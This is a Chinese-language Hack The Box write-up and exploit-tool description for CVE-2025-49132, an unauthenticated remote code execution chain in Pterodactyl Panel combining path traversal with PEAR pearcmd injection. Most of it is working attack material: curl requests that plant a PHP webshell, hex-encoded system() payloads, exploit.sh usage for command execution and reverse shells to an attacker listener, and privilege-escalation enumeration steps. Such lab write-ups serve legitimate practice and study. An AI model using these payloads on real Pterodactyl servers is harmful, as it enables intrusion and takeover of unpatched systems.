针对 CVE-2025-49132 的漏洞利用工具,目标为 Pterodactyl Panel,结合路径遍历与 PEAR 命令注入,实现未认证的远程代码执行。包含用于命令执行、反弹 Shell 的 bash 和 Python 脚本,以及权限提升指南。
HTB 第十季 - Pterodactyl 机器 Writeup
目标: Pterodactyl HTB 机器(中等难度)
CVE: CVE-2025-49132
严重性: 严重(CVSS 9.8)
攻击类型: 未认证远程代码执行
影响范围: Pterodactyl Panel < v1.11.11
此漏洞利用链结合了:
Pterodactyl Panel 的 /locales/locale.json 端点允许通过 locale 参数进行路径遍历:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
这可以与 PEAR 的 pearcmd.php 结合使用:
/tmpPEAR(PHP 扩展与应用仓库) 有一个 CLI 工具(pearcmd.php),它:
config-create 命令,可写入文件漏洞利用链:
路径遍历 → 加载 pearcmd.php → 通过 config-create 注入 PHP → 执行恶意 PHP
命令使用 hex2bin() 进行十六进制编码,以绕过:
示例:
命令:whoami
十六进制:77686f616d69
载荷:<?=system(hex2bin('77686f616d69'))?>
方法 1:使用提供的 exploit.sh
chmod +x exploit.sh
# 获取用户 flag
./exploit.sh flag
# 执行命令
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# 反弹 shell
nc -lvnp 4444 # 在攻击者机器上
./exploit.sh shell 10.10.14.21 4444
方法 2:手动利用
# 步骤 1:写入 PHP shell(十六进制编码的 "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"
# 步骤 2:执行
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"
方法 3:Python 脚本
我添加了 exploit.py
**安装 requests**
功能齐全的 bash 漏洞利用脚本
./exploit.sh cmd "whoami" # 执行单个命令
./exploit.sh shell 10.10.14.21 4444 # 反弹 shell
./exploit.sh flag # 查找用户 flag
功能:
全面的技术文档
包含:
# 1. 添加到 /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts
# 2. 下载漏洞利用脚本
wget https://your-repo/exploit.sh
chmod +x exploit.sh
# 3. 获取 shell
nc -lvnp 4444 # 终端 1
./exploit.sh shell 10.10.14.21 4444 # 终端 2
# 4. 获取用户 flag
cat /home/phileasfogg3/user.txt
# 检查运行中的服务
ss -tlnp
# 发现:
# 127.0.0.1:3306 - MySQL(root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM(root)
# 127.0.0.1:25 - Postfix
# 检查 sudo
sudo -l
# (可能需要密码)
# SUID 二进制文件
find / -perm -4000 2>/dev/null
# Cron 任务
cat /etc/crontab
ls -la /etc/cron.*
mysql -u pterodactyl -pPteraPanel
# 检查 UDF 注入、文件写入权限
# 检查 FPM 漏洞利用(CVE-2019-11043 或配置滥用)
# 检查认证绕过、通过 cron 的 RCE
redis-cli -h 127.0.0.1
find /etc/cron* -writable 2>/dev/null
uname -a
# 检查 DirtyCow 等